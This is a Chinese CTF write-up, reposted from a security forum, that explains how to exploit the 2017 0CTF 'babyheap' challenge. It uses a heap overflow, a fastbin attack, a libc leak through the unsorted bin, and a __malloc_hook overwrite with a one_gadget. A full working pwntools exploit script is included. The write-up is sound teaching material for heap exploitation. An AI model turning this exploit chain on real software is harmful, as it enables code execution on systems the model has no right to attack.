Fastbin_Attack之2017 0ctf babyheap
2021-04-09 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:175 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:mb_uvhwamsn

题目链接:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap
这道题是fastbin_attack经典题,也是我认为有一定难度的题,有两种解法,这里只详细记录了一种,主要知识点有:

(1) fastbin_attack

(2) libc基地址泄露
(3) __malloc_hook
(4) size错位构造

一、逆向分析

检查保护措施:64位程序,保护全开。

1. main函数

程序通过sub_B70()函数获取一段连续的存储堆分配索引表的空间。

2. allocate函数

根据用户输入分配堆空间,地址存储到索引表中,一块索引的信息是24字节,第一个8字节记录此索引是否被使用,第二个8字节代表分配的大小,第三个8字节是分配的地址,指向chunk。
 
这里分配内存使用calloc,会将内存置0。

3. Fill函数

没有对用户输入的size过滤,存在堆溢出漏洞。

4. Free函数和Dump函数

Free函数释放内存空间,同时将索引表中指针置0,不存在uaf漏洞。
 
dump 就是输出对应索引 chunk 的内容,注意读取内容的大小实在索引表中的记录的大小,也就是一开始分配的大小,不是chunk的size字段大小。

二、漏洞利用

思路:存在任意长度堆溢出,首先泄露libc基地址,通过fastbin_attack篡改一个函数指针,调用这个函数获取shell。

1. 泄露libc基地址

free掉一个chunk到bin中,通过泄露fd和bk指针获取main_arena地址计算出libc_base,fastbin_chunk单向链表只有一个指针fd指向链尾,而main_arena的地址在表头,fastbin的fd指针不会指向main_arena,需有bk指针才能指向表头,所以需要一个双向链表的结构:unsorted_bin
 
泄露条件:
(1) 使用dump函数读取chunk中的fd和bk指针,读取的chunk必须已经分配。
(2) 分配内存时使用calloc函数,会将chunk置空,fd和bk也被置空,这与上一条矛盾,因此calloc的chunk不能与free的chunk相同,这就需要使用堆溢出欺骗内存。
思路一:使用chunk_extend扩展一个堆,使其与free_chunk重叠,读取扩展的chunk获取free_chunk的fd和bk指针。这是另一种方法,见文章解法二。
 
思路二:fastbin_attack,欺骗fast_bin的指针指向同一个已经calloc的chunk,再次calloc这个内存,使得一张索引表里有两个指针指向同一个chunk,只需要将一个free掉,令一个dump读取fd和bk指针即可。注意:分配的chunk是fastbin,free的必须为unsorted_bin。

Fastbin Attack:

alloc(0x10) #index 0alloc(0x10) #index 1alloc(0x10) #indec 2alloc(0x80) #index 3 分配unsorted_bin
free(2)free(1)#fastbin_attackextend_0 = flat(cyclic(0x10), 0, 0x21, b'\x60')fill(0, len(extend_0), extend_0)
申请3个chunk和1个大小不属于fastbin 的chunk,释放index1和index2。
堆溢出之后,在fastbin中 index1_chunk的fd指针原本指向index2_chunk,改成指向index3_chunk。
下一步将要分配fastbin中的两个chunk,第二个申请到的就是指向index3_chunk,使得索引表中index2_chunk指向index3_chunk。
 
fastbin绕过size检查:fastbin表中每一条链中chunk是固定大小,从表中malloc出一个chunk,拆卸前会检查size大小是否属于当前链中,不属于则报错。fastbin_attack时需要在拆卸前将chunk大小改为当前链的大小,绕过size检测。
 
当我需要通过index2_chunk溢出到index3_chunk的size字段时,原本的index2_chunk释放之后没有分配不能写入数据,所以重新构造chunk,在index3_chunk之前多分配一个0x10的chunk,用于溢出,示意图如下:

alloc(0x10) #index 0 to fastbinalloc(0x10) #index 1 to fastbinalloc(0x10) #index 2 to fastbinalloc(0x10) #index 3 to fastbin <-------新增加的chunkalloc(0x80) #index 4 to unsorted_bin
free(2)free(1)
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x80')fill(0, len(extend_0), extend_0)#修改为fastbins大小,用于分配extend_3 = flat(cyclic(0x10), 0, 0x21)fill(3, len(extend_3), extend_3)
alloc(0x10)alloc(0x10)
新分配之后index2_chunk和index4_chunk指向0x90的chunk。
索引表已经存在两个指针指向0x90的chunk,那么到了泄露地址最后一步,free掉index4_chunk使其进入unsorted_bin,读取index2获得index4的fd和bk指针,获取main_arena的地址。
 
细节:将index4_chunk大小更改回到0x91,free掉index4之前为了防止其与top_chunk合并,需要新分配一个任意大小的chunk。
#修改回fastbins大小,用于释放到unsorted_binextend_3 = flat(cyclic(0x10), 0, 0x91)fill(3, len(extend_3), extend_3)#分配一个chunk防止unsorted_chunk与top_chunk合并alloc(0x60)free(4)dump(2)io.recvuntil("Content: \n")unsorted_main_arena = u64(io.recv(8))print(hex(unsorted_main_arena))
在64位系统中unsorted_bin在main_arena+88的位置,32位为main_arena+48。

这个通过free一个0x90大小chunk到unsorted_bin中,查看fd和bk指针可以看到。

main_arena在glibc_2.23的0x3c4b20地址:使用IDA打开glibc_2.23的malloc_trim()函数,main_arena存储在glibc_2.23的.data段。
对照glibc_2.23源码。
libc基地址:
main_arena = 0x3c4b20libc_base = unsorted_main_arena - (main_arena + 88)log.success("libc base addr: " + hex(libc_base))

2. hook劫持

往常通过fastbin attack进行got表劫持,这里有两点限制got劫持:

(1) RELRO全开,将GOT表属性设置为不可写。

(2) fastbin如果指向got表,为了通过size校验需要有一个合适的size字段,但是got表中难以找到。
这里我们选择hook劫持:

hook是钩子函数,设计钩子函数的初衷是用于调试,基本格式大体是func_hook(*func,<参数>),在调用某函数时,如果函数的钩子存在,就会先去执行该函数的钩子函数,通过钩子函数再来回调我们当初要调用的函数,calloc函数与malloc函数的钩子都是malloc_hook。

glibc_2.23中malloc实现:
calloc中也都存在malloc_hook函数判断执行,所以调用malloc/calloc函数是都会先判断hook函数是否存在,存在则先调用malloc_hook。
 
为了实现fastbin_attack,是fd指针指向__malloc_hook,需要在附近在其低地址找到合法的size段绕过安全检测,先来查看 _malloc_hook附近的布局。

在3C4AF0到3C4B10直接寻找size字段:

因为在64位系统中,地址8字节只使用了低6字节,而且hook函数和_IO_wfile_jumps的偏移地址最高位0x7F,align 20h为0,可以错位构造size:0x3C4AF0为 ? ? ? ? ? 7F 00 00 而 0x3C4AF8 00 00 00 00 00,选择0x3C4AF5~0x3C4AFC7F 00 00 00 00 00 00 00,对应需要分配的chunk大小位0x60。

之前已经将index4_chunk 释放进unsorted_bin,再次分配0x60可以切割index4_chunk,由0x90成0x60,在free进unsorted_bin,构造0x60的unsorted_bin的链。
 
index2也指向index4_chunk,通过修改index2内容将index4_chunk的 fd 指向__malloc_hook的伪造chunk地址(计算偏移),再次分配两次,一次获得index4_chunk,另一次指向 malloc_hook。
hook_addr = libc_base + libc.sym["__malloc_hook"]print(hex(hook_addr))#构造0x60 unsorted_bin链alloc(0x60)free(4)
#伪造chunk,指向hookfake_chunk = flat(hook_addr - 0x23)fill(2, len(fake_chunk), fake_chunk)alloc(0x60)alloc(0x60) #获取index6指向hook地址

3. One_gadget

将malloc_hook篡改为onegadget,之后调用calloc即可。
 
获取onegadget,依次尝试。
one_gadget_addr = libc_base + 0x4527a#篡改__malloc_hookpayload = flat(cyclic(0x13), one_gadget_addr)fill(6, len(payload), payload)#触发callocalloc(0x100)
io.interactive()
from pwn import *context(arch="amd64", log_level="debug", os="linux")
io = process("./babyheap")elf = ELF("./babyheap")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def alloc(size): io.sendlineafter("Command: ", "1") io.sendlineafter("Size: ",str(size))
def fill(index, size, content): io.sendlineafter("Command: ", "2") io.sendlineafter("Index: ", str(index)) io.sendlineafter("Size: ",str(size)) io.sendafter("Content: ", content)
def free(index): io.sendlineafter("Command: ", "3") io.sendlineafter("Index: ", str(index))
def dump(index): io.sendlineafter("Command: ", "4") io.sendlineafter("Index: ", str(index))
alloc(0x10) #index 0 to fastbinalloc(0x10) #index 1 to fastbinalloc(0x10) #index 2 to fastbinalloc(0x10) #index 3 to fastbin <-------新增加的chunkalloc(0x80) #index 4 to unsorted_bin
free(2)free(1)
extend_0 = flat(cyclic(0x10), 0, 0x21, b'\x80')fill(0, len(extend_0), extend_0)#修改为fastbins大小,用于分配extend_3 = flat(cyclic(0x10), 0, 0x21)fill(3, len(extend_3), extend_3)
alloc(0x10)alloc(0x10)
#修改回fastbins大小,用于释放到unsorted_binextend_3 = flat(cyclic(0x10), 0, 0x91)fill(3, len(extend_3), extend_3)#分配一个chunk防止unsorted_chunk与top_chunk合并alloc(0x60)free(4)dump(2)io.recvuntil("Content: \n")unsorted_main_arena = u64(io.recv(8))log.success("unsorted_main_arena_addr: " + hex(unsorted_main_arena))
main_arena = 0x3c4b20libc_base = unsorted_main_arena - (main_arena + 88)log.success("libc base addr: " + hex(libc_base))
hook_addr = libc_base + libc.sym["__malloc_hook"]print(hex(hook_addr))#构造0x60 unsorted_bin链alloc(0x60)free(4)
#伪造chunk,指向hookfake_chunk = flat(hook_addr - 0x23)fill(2, len(fake_chunk), fake_chunk)alloc(0x60)alloc(0x60) #获取index6指向hook地址
one_gadget_addr = libc_base + 0x4527a#篡改__malloc_hookpayload = flat(cyclic(0x13), one_gadget_addr)fill(6, len(payload), payload)#触发callocalloc(0x100)
io.interactive()

三、解法二

按照本文的思路一:分配两个chunk,index1和index2,扩展index1到index2的fd和bk指针,释放index2,index2的fd和bk指针会指向main_arena,读取index1获取index2的内容。
 
如果直接读取index1,由于读取的index1大小在分配时已经固定在索引表中,与实际的chunk size字段不匹配,需要free掉index1,然后重新分配chunk size大小,可更新索引表中的size,这个时候读取index1内容。

比较解法一和解法二

法一在释放分配目标unsortedchunk的时候为了绕过fastbin和unsorted_bin需要两次更改size字段以绕过安全检查,可以将大小为fastbin更改为unsorted_bin,应该可以减少安全绕过次数。

解法一一直有个问题困扰我,为什么只需要更改最低位一个字节就可以将指针指向目标地址,原来:在libc2.23中,用户分配的第一个堆块就位于堆区起始地址。
也就是说用户分配的第一个堆块的地址最低字节一定是00(在目前的libc版本中,堆区的起始地址最低字节都是00),这样可以计算偏移,但在libc2.26的系统中,用户分配的第一个堆块并不位于堆区的起始处!而是从堆区起始地址往后偏移了很大一段距离(可能要根据glibc版本计算偏移) 。解法一容易出现glibc版本不兼容。
详细内容:
https://www.anquanke.com/post/id/168009

四、总结

通过此题get到的新知识:

(1) fastbin_attack

(2) libc基地址泄露
(3) __malloc_hook
(4) size错位构造

参考文献

1. https://www.anquanke.com/post/id/168009
2. https://ctf-wiki.org/pwn/linux/glibc-heap/fastbin_attack

- End -

看雪ID:mb_uvhwamsn

https://bbs.pediy.com/user-home-913279.htm

  *本文由看雪论坛 mb_uvhwamsn 原创,转载请注明来自看雪社区

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458383454&idx=1&sn=f03801574c4ec850cb4ec9bc94cfc4e2&chksm=b180c4d486f74dc293f7a8681db648c2c7b4a67d713f37447d16edb4d4db2997cdc15f82cac6#rd
如有侵权请联系:admin#unsafe.sh